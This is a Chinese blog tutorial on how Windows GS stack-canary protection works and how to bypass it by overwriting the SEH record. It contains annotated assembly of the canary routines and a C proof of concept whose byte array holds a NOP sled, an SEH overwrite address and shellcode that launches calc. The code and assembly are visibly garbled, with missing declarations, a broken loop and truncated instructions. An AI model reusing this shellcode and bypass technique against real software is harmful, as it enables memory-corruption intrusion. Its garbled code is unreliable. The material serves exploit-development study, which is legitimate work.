GS简介:

  Windows的缓冲区安全监测机制(GS)可以有效的阻止经典的BOF攻击,因为GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断canary是否被修改。因为canary的地址是(前栈帧EBP-4),所以如果溢出攻击想要覆盖返回地址或者异常处理句柄的话,就会路过canary。系统检测到canary被修改之后,在函数返回前就会直接终止程序,no return,no exception,so no exploit。

GS原理:

  下面用一个简单的C程序来跟踪一下GS的流程,测试环境为XP SP3+VS2005(DEP OFF,SAFESEH OFF)。

C代码:

#include "stdafx.h"
#include<stdio.h>
#include<string.h>

char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
void overflow();
int main()
{
     overflow();
     printf("fuction returned");
     ;
}

void overflow()
{
     ];
     memcpy(output, name,sizeof(name));
     ;i<&&output[i];i++)
     printf("\\0x%x",output[i]);
}

编译之后,执行直接报错,因为复制字符串时发生了溢出,覆盖了canary,程序直接退出。

用Olldbg打开,如下图:

  系统默认中断在security_init_cookie函数,程序载入内存后这个函数首先运行。下面就是通过OD来查看GS机制的分析部分,分三个步骤:①计算随机种子。②canary写入栈帧。③GS校验。如果觉得看asm比较枯燥的话,就了解一下这三个步骤的大体流程就可以了。

大体流程就是:

  1. 程序启动时,读取.data节的第一个dword。
  2. 以这个dword为基数,通过和当前系统时间,进程ID,线程ID,性能计数器进行一系列加密运算(多次XOR)。
  3. 把加密后的种子再写入.data节的第一个dword。
  4. 函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入“前EBP”的前面(低地址端)。
  5. 函数主体正常执行。
  6. 函数返回前,把canary取出与esp异或计算后,调用__security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过则返回原函数继续执行。如果校验失败,则程序终止。

Asm代码:

①   计算随机种子。

               push    ebp

004016E5  |.  8BEC             mov     ebp, esp

      mov     eax, dword ptr [__security_cookie]  //取exe地址00403000处的第一个DWORD到eax。

 F8        ],   //设置局部变量为0,此处是两个DWORD,作为filetime结构体,后面用来存放获取的系统时间。

 FC        ],   //同上。

               push    ebx  //备份ebx,返回时恢复。

               push    edi  //备份edi,返回时恢复。

004016F9  |.  BF 4EE640BB      mov     edi, BB40E64E  //把00403000处的第一个dword,也就是.DATA节的第一个双字赋值给edi。

004016FE  |.  3BC7             cmp     eax, edi  //判断eax和edi是否相等。

  |.  BB 0000FFFF      mov     ebx, FFFF0000  //ebx赋值为FFFF0000。

  |.     //如果eax和edi相等则跳转。

  |.  85C3             test    ebx, eax

  |.               

0040170B  |.  F7D0             not     eax

      mov     dword ptr [__security_cookie_complement], eax

  |.  EB             

  |>                 push    esi  //备份esi,返回时用来恢复。

  |.  8D45 F8          ]  //取得filetime结构体地址。

  |.                 push    eax                                               ;   //pFileTime入栈。

  |.  FF15     call    dword ptr [<&KERNEL32.GetSystemTimeAsFileTime>]   ;   //调用GetSystemTimeAsFileTime获取系统时间,放入ebp-12至ebp-4共8个字节。

]  //取得系统时间的高4字节。

  |.   F8          ]  //系统时间高4字节与低4字节进行异或,结果存入esi。

  |.  FF15     call    dword ptr [<&KERNEL32.GetCurrentProcessId>]  //调用GetCurrentProcessId取得当前进行ID,存入eax。

0040172B  |.  33F0             xor     esi, eax  //进程ID和前面的esi进行异或,结果存入esi。

    call    dword ptr [<&KERNEL32.GetCurrentThreadId>]        ; //获取当前线程ID,存入eax。

  |.  33F0             xor     esi, eax  //线程ID和前面的esi进行异或,结果存入esi。

  |.  FF15     call    dword ptr [<&KERNEL32.GetTickCount>]  //获取系统启动至今的微秒数,存入eax。

0040173B  |.  33F0             xor     esi, eax  //系统启动至今微秒数和前面的esi进行异或,结果存入esi。

]  //准备pPerformanceCount函数的参数,一个large_integer类型的结构体指针,结构体8个字节。

  |.                 push    eax  // lpPerformanceCount参数入栈。

  |.  FF15 0C204000    call    dword ptr [<&KERNEL32.QueryPerformanceCounter>]  //调用性能计数器,其实还是个高精度时间戳。

  |.  8B45 F4          mov     eax, dword ptr [ebp-C]  //把时间戳高4位赋给eax。

 F0          ]  //把时间戳高4位和低4位进行异或,结果存入eax。和前面GetSystemTimeAsFileTime算法一样。

0040174D  |.  33F0             xor     esi, eax  //时间戳异或结果和esi进行异或计算,结果存入esi。

0040174F  |.  3BF7             cmp     esi, edi  //比较esi和edi是否相同,防止出现碰撞。

  |.               jnz     short 0040175A  //不相等的话,跳转。

  |.  BE 4FE640BB      mov     esi, BB40E64F  //相等的话,

  |.  EB 

0040175A  |>  85F3             test    ebx, esi  //比较esi和ebx是否相同。

               //不相同的话,加密结束,写入。

0040175E  |.  8BC6             mov     eax, esi

  |.  C1E0           

  |.  0BF0             or      esi, eax

  |>       mov     dword ptr [__security_cookie], esi  //把加密后的canary放入.data区首的4个字节。

0040176B  |.  F7D6             not     esi  //密文取反。

     mov     dword ptr [__security_cookie_complement], esi  //密文取反写入.data取的第5到第8个字节,紧挨着canary。

  |.  5E               pop     esi  //恢复环境。

  |>  5F               pop     edi  //恢复环境。

  |.  5B               pop     ebx  //恢复环境。

  |.  C9               leave  //恢复环境。与Mov esp,ebp+pop ebp等效。

  \.  C3               retn  //函数返回。

②   Canary写入栈帧:

 >/$  83EC 0C          sub     esp, 0C  //函数开头,开辟栈空间。

  |.  A1       mov     eax, dword ptr [__security_cookie]  //把加密后的种子赋给eax。

  |.  33C4             xor     eax, esp  //eax和当前esp进行异或计算。

         ], eax  //把异或后得到的canary写入栈帧。

③   GS校验:

        ]  //把canary赋给ecx。

  |.  33CC             xor     ecx, esp  //ecx和esp异或。

    cmp     ecx, dword ptr [__security_cookie]  //比较ecx和.data区的加密种子是否相同。

   .                 //不相同则校验失败,跳转失败处理分支。

   .  F3:              prefix rep:  //相同则返回原函数。

   .  C3               retn  //相同则返回原函数。

   >  E9 AD020000      jmp     __report_gsfailure  //跳入失败处理分支,主要功能是调用UnhandledExceptionFilte,显示个程序崩溃的框框,如果不选择调试,则调用TerminateProcess结束当前进程。

GS绕过:

  了解GS的保护原理之后,绕过方法就水到渠成了。既然你GS在我函数返回前就给我来个突然杀出,那我就在你GS校验函数执行之前给你来个突然杀出。如果函数在执行时,发生异常,则操作系统(NTDLL.DLL)会直接接管,然后进入异常处理过程。这样GS校验函数就没有了执行的机会。

  其实不只是覆盖SEH这一种绕过方法,只要想办法在函数的security_check_cookie函数执行之前,获取EIP控制权都可以绕过,比如在函数溢出之后且函数返回之前,调用了某些函数指针,如果在溢出的时候覆盖掉这个指针,就可以绕过GS。当然还有同时覆盖.data区和canary来使security_check_cookie验证通过,不过遇到这种漏洞的概率太小了。

下面我们改一下我们的C程序,让溢出的字符串继续往下溢出,直到溢出SEH structure,并且溢出到栈顶,这样就会触发一个访问异常,于是就进入了异常处理过程,从而悄无声息的绕过了GS保护机制。(关于覆盖SEH进行溢出利用的方法请参见我的另一篇博文)。

C代码:

// GSBYPASS.cpp : 定义控制台应用程序的入口点。

#include "stdafx.h"
#include<stdio.h>
#include<string.h>

char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xEB,0x06,0x90,0x90,0x10,0x12,0x40,0x00,0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};

void overflow();

int main()
{
     overflow();
     printf("fuction returned");
     ;
}

void overflow()
{
     ];
     memcpy(output, name,sizeof(name));
     ;i<&&output[i];i++)
     printf("\\0x%x",output[i]);
}

编译,运行,成功绕过:

逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试的更多相关文章

  1. gcc栈溢出保护机制:stack-protector

    关键词:stack-protector.stack-protector-strong.stack-protector-all等等. 1. gcc栈保护机制stack-protector简介 gcc提供 ...

  2. SonarQube学习(四)- 使用Jenkins集成JaCoCo和SonarQube检查代码测试覆盖率

    一.前言 我始终觉得学习这件事是自己的事,自己会了就是会了,无关于他人,但有点小伤感的是现在的阅读量开始走低. 二.准备 安装Jenkins,请移步<Docker学习(二)- Docker 安装 ...

  3. Python爬虫学习:四、headers和data的获取

    之前在学习爬虫时,偶尔会遇到一些问题是有些网站需要登录后才能爬取内容,有的网站会识别是否是由浏览器发出的请求. 一.headers的获取 就以博客园的首页为例:http://www.cnblogs.c ...

  4. java之jvm学习笔记四(安全管理器)

    java之jvm学习笔记四(安全管理器) 前面已经简述了java的安全模型的两个组成部分(类装载器,class文件校验器),接下来学习的是java安全模型的另外一个重要组成部分安全管理器. 安全管理器 ...

  5. Java Web入门学习(四)Eclipse与Maven、Tomcat整合配置

    Java Web学习(四)Eclipse与Maven整合配置 一.准备工作 1.Tomcat 8.5.15 2.Maven3.5 3.Eclipse Neon.3 Release (4.6.3) 二. ...

  6. Java Web入门学习(四)Eclipse与Maven、Tomcat整合配置 (重整版并解决问题)

    Java Web学习(四)Eclipse与Maven整合配置 (重整版) 一.准备工作 1.Tomcat 8.5.15 2.Maven3.5 3.Eclipse Neon.3 Release (4.6 ...

  7. 【数据库】3.0 MySQL入门学习(三)——Windows系统环境下MySQL安装

    1.0 我的操作系统是window10 专业版 64位.,不过至少windows7以上系统都是一样的. 关于MySQL如何下载,请参考博文: [数据库]2.0 如何获得MySQL以及MySQL安装 h ...

  8. SODBASE CEP学习(四)续:类SQL语言EPL与Storm或jStorm集成-使用分布式缓存

    流式计算在一些情况下会用到分布式缓存,从而实现(1)想把统计或计算结果保存在分布缓存中.供其他模块或其他系统调用. (2)某一滑动时间窗体上计数.比如实时统计1小时每一个Cookie的訪问量.实时统计 ...

  9. kvm虚拟化学习笔记(四)之kvm虚拟机日常管理与配置

    KVM虚拟化学习笔记系列文章列表----------------------------------------kvm虚拟化学习笔记(一)之kvm虚拟化环境安装http://koumm.blog.51 ...

随机推荐

  1. 使用GIT进行源码管理 —— 在VisualStudio中使用GIT

    GIT作为源码管理的方式现在是越来越流行了,在VisualStudio 2012中,就通过插件的现实对GIT进行了官方支持,并且这个插件在VS2013中已经转正.本文在这里简单的介绍一下如何在Visu ...

  2. A new comer playing with Raspberry Pi 3B

    there are some things to do for raspberry pi 3b for the first time: 1, connect pi with monitor/KB/mo ...

  3. [Erlang 0111] Erlang Abstract Format , Part 2

       上回书,我们说到飞天玉虎蒋伯芳来到蜈蚣岭,不是,重来,上回咱们说到可以在Erlang Shell里面手工构造,加载并调用一个模块.在那个demo里面,我把多个Form单独生成出来,最后放在一起做 ...

  4. 数据库设计范式2——BC范式和第四范式

    我在很久之前的一篇文章中介绍了数据库模型设计中的基本三范式,今天,我来说一说更高级的BC范式和第四范式. 回顾 我用大白话来回顾一下什么是三范式: 第一范式:每个表应该有唯一标识每一行的主键. 第二范 ...

  5. Oracle学习笔记五 SQL命令(三):Group by、排序、连接查询、子查询、分页

    GROUP BY和HAVING子句 GROUP BY子句 用于将信息划分为更小的组每一组行返回针对该组的单个结果 --统计每个部门的人数: Select count(*) from emp group ...

  6. tomcat安装后,本地可以访问,远程不能访问

    问题描述:tomcat安装后,在本地可以使用本地IP地址.localhost可以访问,但是在远程却不能访问. 使用工具:无. 解决方法:关闭服务器端的"公用网络防火墙"即可.

  7. [LeetCode] Clone Graph 无向图的复制

    Clone an undirected graph. Each node in the graph contains a label and a list of its neighbors. OJ's ...

  8. C#创建Excel(.xls和.xlsx)文件的三种方法

    生成EXCEL文件是经常需要用到的功能,我们利用一些开源库可以很容易实现这个功能. 方法一:利用excellibrary,http://code.google.com/p/excellibrary/ ...

  9. js封装的三级联动菜单(使用时只需要一行js代码)

    前言 在实际的项目开发中,我们经常需要三级联动,比如省市区的选择,商品的三级分类的选择等等. 而网上却找不到一个代码完整.功能强大.使用简单的三级联动菜单,大都只是简单的讲了一下实现思路. 下面就给大 ...

  10. Gulp 入门

    1. 安装 Node 环境 参考 http://www.cnblogs.com/zichi/p/4627728.html,注意一起安装 npm 工具,并把路径保存到环境变量中(安装过程中会有提醒) 安 ...